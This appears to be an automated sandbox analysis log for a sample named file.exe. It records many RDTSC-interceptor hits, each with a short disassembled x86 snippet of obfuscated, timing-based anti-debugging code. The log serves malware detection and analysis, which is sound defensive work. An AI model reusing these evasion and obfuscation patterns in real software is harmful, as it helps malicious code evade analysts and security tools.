Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A10C4D second address: A10CA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 mov di, 1BF7h 0x0000000c push 00000000h 0x0000000e mov edi, dword ptr [ebp+122D3741h] 0x00000014 call 00007FB9C8FCBE99h 0x00000019 pushad 0x0000001a jne 00007FB9C8FCBE9Ch 0x00000020 jl 00007FB9C8FCBE9Ch 0x00000026 ja 00007FB9C8FCBE96h 0x0000002c popad 0x0000002d push eax 0x0000002e ja 00007FB9C8FCBEA4h 0x00000034 mov eax, dword ptr [esp+04h] 0x00000038 push eax 0x00000039 push edx 0x0000003a push ecx 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A10CA2 second address: A10CA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A10CA7 second address: A10CAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A10CAD second address: A10CB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A10CB1 second address: A10CCB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push esi 0x0000000b push eax 0x0000000c pushad 0x0000000d popad 0x0000000e pop eax 0x0000000f pop esi 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 push ecx 0x00000015 pushad 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A10DBA second address: A10DE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FB9C8FCDCB9h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jo 00007FB9C8FCDCACh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A10DE4 second address: A10DE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A10DE8 second address: A10DEF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A10DEF second address: A10E61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 xor esi, 7DFE8C7Ah 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push eax 0x00000013 call 00007FB9C8FCBE98h 0x00000018 pop eax 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d add dword ptr [esp+04h], 0000001Ch 0x00000025 inc eax 0x00000026 push eax 0x00000027 ret 0x00000028 pop eax 0x00000029 ret 0x0000002a cmc 0x0000002b push 1E54A966h 0x00000030 push ecx 0x00000031 jg 00007FB9C8FCBE98h 0x00000037 pop ecx 0x00000038 xor dword ptr [esp], 1E54A9E6h 0x0000003f add ecx, 19E00CCFh 0x00000045 push 00000003h 0x00000047 xor dword ptr [ebp+122D1B5Bh], edx 0x0000004d push 00000000h 0x0000004f mov dword ptr [ebp+122D2E8Ch], eax 0x00000055 push 00000003h 0x00000057 call 00007FB9C8FCBE99h 0x0000005c push eax 0x0000005d push edx 0x0000005e push ecx 0x0000005f pushad 0x00000060 popad 0x00000061 pop ecx 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A10F6E second address: A10FE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop ebx 0x0000000a popad 0x0000000b nop 0x0000000c mov ch, ah 0x0000000e mov dword ptr [ebp+122D3079h], esi 0x00000014 push 00000000h 0x00000016 je 00007FB9C8FCDCB9h 0x0000001c push eax 0x0000001d jmp 00007FB9C8FCDCB1h 0x00000022 pop edi 0x00000023 xor dword ptr [ebp+122D31C2h], ebx 0x00000029 push B4B24740h 0x0000002e jc 00007FB9C8FCDCACh 0x00000034 pushad 0x00000035 pushad 0x00000036 popad 0x00000037 push edi 0x00000038 pop edi 0x00000039 popad 0x0000003a add dword ptr [esp], 4B4DB940h 0x00000041 sub dword ptr [ebp+122D33B7h], edx 0x00000047 push 00000003h 0x00000049 mov cl, al 0x0000004b push 00000000h 0x0000004d mov cx, dx 0x00000050 push 00000003h 0x00000052 mov ch, 00h 0x00000054 mov esi, dword ptr [ebp+122D37DDh] 0x0000005a call 00007FB9C8FCDCA9h 0x0000005f push eax 0x00000060 push edx 0x00000061 push eax 0x00000062 push edx 0x00000063 push eax 0x00000064 pop eax 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A10FE3 second address: A10FE9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A10FE9 second address: A10FEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A10FEF second address: A10FF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A10FF3 second address: A11014 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007FB9C8FCDCB6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A11014 second address: A11031 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push edx 0x0000000d jns 00007FB9C8FCBE98h 0x00000013 pushad 0x00000014 popad 0x00000015 pop edx 0x00000016 mov eax, dword ptr [eax] 0x00000018 push eax 0x00000019 push edx 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A11031 second address: A11036 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A11036 second address: A1103B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1103B second address: A11055 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FB9C8FCDCACh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A11055 second address: A11063 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FB9C8FCBE96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A11063 second address: A110F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007FB9C8FCDCB2h 0x0000000e mov edx, dword ptr [ebp+122D3891h] 0x00000014 popad 0x00000015 mov cx, B13Ah 0x00000019 lea ebx, dword ptr [ebp+12452AA8h] 0x0000001f push 00000000h 0x00000021 push eax 0x00000022 call 00007FB9C8FCDCA8h 0x00000027 pop eax 0x00000028 mov dword ptr [esp+04h], eax 0x0000002c add dword ptr [esp+04h], 0000001Bh 0x00000034 inc eax 0x00000035 push eax 0x00000036 ret 0x00000037 pop eax 0x00000038 ret 0x00000039 movsx esi, cx 0x0000003c xchg eax, ebx 0x0000003d pushad 0x0000003e jmp 00007FB9C8FCDCB2h 0x00000043 jmp 00007FB9C8FCDCB1h 0x00000048 popad 0x00000049 push eax 0x0000004a push eax 0x0000004b push edx 0x0000004c jng 00007FB9C8FCDCB6h 0x00000052 jmp 00007FB9C8FCDCB0h 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A110F4 second address: A110FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3014D second address: A30157 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FB9C8FCDCA6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A30157 second address: A30171 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007FB9C8FCBEA8h 0x0000000c jmp 00007FB9C8FCBE9Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A30453 second address: A3046F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB9C8FCDCB6h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3046F second address: A30483 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB9C8FCBEA0h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3083B second address: A30842 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A30842 second address: A30863 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push esi 0x00000008 push edx 0x00000009 jmp 00007FB9C8B8B516h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A30C36 second address: A30C6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jg 00007FB9C8D34AF2h 0x0000000b jmp 00007FB9C8D34AECh 0x00000010 push edx 0x00000011 jmp 00007FB9C8D34AEAh 0x00000016 pop edx 0x00000017 push edi 0x00000018 js 00007FB9C8D34AE6h 0x0000001e pop edi 0x0000001f popad 0x00000020 jo 00007FB9C8D34B0Ch 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A30C6C second address: A30C76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FB9C8B8B506h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A30C76 second address: A30C7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A30C7A second address: A30C8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jns 00007FB9C8B8B50Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A30F29 second address: A30F3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FB9C8D34AF0h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2469B second address: A246A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A246A1 second address: A246A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02E9A second address: A02EA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02EA0 second address: A02EA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3137F second address: A3138A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3138A second address: A3138E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A31A1B second address: A31A34 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FB9C8B8B514h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A31A34 second address: A31A41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jne 00007FB9C8D34AE6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A31B7A second address: A31B82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A31B82 second address: A31B86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A31F52 second address: A31F56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A31F56 second address: A31F75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FB9C8D34AF4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A35D1E second address: A35D22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A35D22 second address: A35D3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FB9C8D34AF4h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3882A second address: A3882F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A38D25 second address: A38D2F instructions: 0x00000000 rdtsc 0x00000002 je 00007FB9C8D34AECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A38D2F second address: A38D3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A38E9F second address: A38EA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3CF34 second address: A3CF38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3CF38 second address: A3CF5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FB9C8D34AF7h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3D0F4 second address: A3D0FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3D252 second address: A3D285 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB9C8D34AF2h 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007FB9C8D34AFAh 0x00000012 jmp 00007FB9C8D34AEEh 0x00000017 jnc 00007FB9C8D34AE6h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3D6B8 second address: A3D6C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edx 0x00000006 jp 00007FB9C8B8B506h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3D7D4 second address: A3D7DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3D7DE second address: A3D7E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3D7E4 second address: A3D7E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3D7E8 second address: A3D829 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB9C8B8B514h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FB9C8B8B514h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FB9C8B8B510h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3FDFF second address: A3FE04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A404C1 second address: A404C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A406B7 second address: A406BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A40F98 second address: A40FA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 js 00007FB9C8B8B518h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A417DE second address: A417E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A417E4 second address: A417E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A429A2 second address: A429A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A429A6 second address: A429B2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A065BF second address: A065C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A45502 second address: A4550D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4526C second address: A45270 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4550D second address: A45511 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A45E8F second address: A45E93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A45C7B second address: A45C81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A45E93 second address: A45E97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A468E8 second address: A468EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A468EE second address: A468F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A468F3 second address: A468F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A47372 second address: A47376 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A49191 second address: A49195 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A49195 second address: A4919B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4919B second address: A491A0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4A0FD second address: A4A18B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 jmp 00007FB9C8D34AEDh 0x0000000c nop 0x0000000d mov ebx, esi 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push eax 0x00000014 call 00007FB9C8D34AE8h 0x00000019 pop eax 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e add dword ptr [esp+04h], 00000015h 0x00000026 inc eax 0x00000027 push eax 0x00000028 ret 0x00000029 pop eax 0x0000002a ret 0x0000002b jl 00007FB9C8D34AFCh 0x00000031 call 00007FB9C8D34AF5h 0x00000036 pop ebx 0x00000037 jmp 00007FB9C8D34AF2h 0x0000003c push 00000000h 0x0000003e push 00000000h 0x00000040 push eax 0x00000041 call 00007FB9C8D34AE8h 0x00000046 pop eax 0x00000047 mov dword ptr [esp+04h], eax 0x0000004b add dword ptr [esp+04h], 00000014h 0x00000053 inc eax 0x00000054 push eax 0x00000055 ret 0x00000056 pop eax 0x00000057 ret 0x00000058 mov dword ptr [ebp+122D2EFBh], eax 0x0000005e push eax 0x0000005f pushad 0x00000060 push eax 0x00000061 push edx 0x00000062 push ebx 0x00000063 pop ebx 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4A18B second address: A4A18F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4A18F second address: A4A19D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007FB9C8D34AE6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4A19D second address: A4A1A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4B1D6 second address: A4B1DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4C277 second address: A4C27C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4C27C second address: A4C299 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007FB9C8D34AEFh 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 pop edx 0x00000013 rdtsc
